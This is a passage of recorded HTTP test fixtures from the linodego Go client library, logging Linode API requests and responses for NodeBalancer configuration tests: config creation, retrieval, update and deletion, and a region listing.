X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767872/configs method: POST response: body: '{"id": 1266910, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 767872, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767872/configs/1266910 method: GET response: body: '{"id": 1266910, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 767872, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767872/configs/1266910 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767872 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNodeBalancerConfig_Update.yaml000066400000000000000000000726671474652371000332770ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":640290}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 767869, "label": "go-test-def", "region": "ap-west", "hostname": "172-105-44-87.ip.linodeusercontent.com", "ipv4": "172.105.44.87", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767869/configs method: POST response: body: '{"id": 1266907, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 767869, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":8080,"protocol":"tcp","proxy_protocol":"v2","algorithm":"leastconn"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767869/configs/1266907 method: PUT response: body: '{"id": 1266907, "port": 8080, "protocol": "tcp", "algorithm": "leastconn", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "v2", "cipher_suite": "recommended", "nodebalancer_id": 